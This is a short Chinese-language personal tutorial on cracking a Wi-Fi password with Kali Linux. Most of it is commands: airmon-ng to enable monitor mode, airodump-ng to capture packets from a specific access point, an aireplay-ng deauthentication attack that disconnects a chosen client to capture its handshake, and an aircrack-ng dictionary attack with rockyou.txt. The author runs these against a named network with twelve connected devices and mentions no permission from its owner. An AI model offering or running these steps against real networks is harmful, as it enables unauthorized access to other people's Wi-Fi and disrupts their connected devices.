Kali linux破解Wi-Fi
视频版教程:
- 准备工作 首先,你需要准备一个外置网卡,并在虚拟机中进行破解。所需设备包括:Kali Linux、外置网卡。将虚拟机设置为桥接模式,并将插入的外接网卡进行设置。然后使用ifconfig命令查看网卡信息。
airmon-ng start wlan0
#提示要杀掉一些进程,根据提示进行即可
airmon-ng check kill
airmon-ng start wlan0
airodump-ng -c 6 --bssid 88:25:93:60:C0:D9 -w A4-3062.4G wlan0mon(注意这个位置不能有空格,哪怕原wifi名字上有,这个地方也不能有)
-c 通道值 WiFi热点所对应的CH值(上图中可看到)
--bssid 需要破解WiFi的MAC值
-w cap文件名
wlan0mon 启用混杂模式的网卡名
- 开始攻击 接下来,我们进行混杂模式设置,并开启wlan0网卡的混杂模式。开始抓包。首先,使用airodump-ng命令查看附近的WiFi热点。选择信号较好的WiFi热点作为目标(例如A4-306 2.4G)。使用airodump-ng对选定的WiFi热点进行cap监听和获取。
aireplay-ng -0 2 -c E8:4E:06:21:75:D7 -a 88:25:93:60:C0:D9 wlanmon
-0 death模式,2为发送次数
-c 你所选择要断网操作的客户机MAC
-a WiFi热点MAC
此时,我们可以看到有12个设备连接,选择其中一个设备(例如75-D7)进行抓包(需要持续开启)。使用aireplay-ng对选定的WiFi热点进行cap监听和获取(启动另一个命令行)。如果一次抓包不成功,可以多试几次。我尝试了三次后成功抓到。
#首先ls查看当前目录所产生的握手包
aircrack-ng -w rockyou.txt A4-3062.4G-02.cap
w代表字典
接着你的包名称
此时,监听可以停止。然后进行跑包。
- 跑包 我们直接使用Kali自带的工具,在文件目录中解压(此处不做演示)。然后等待结果吧!但是,如果WiFi密码复杂,基本上很难破解成功。
这只是一个笔记,现在暴力破解变得非常困难,一旦WiFi密码稍微复杂,基本上就无望了。
- 2019年11月更新: 现在使用Kali自带的aircrack好像已经过时了,我在网上看到有更好的、能够利用GPU进行破解的工具,具体的名字我忘了,大家可以自行搜索。另外,很多人问我无线网卡的型号,我记得大约是30左右,不需要购买太好的,一般的就可以。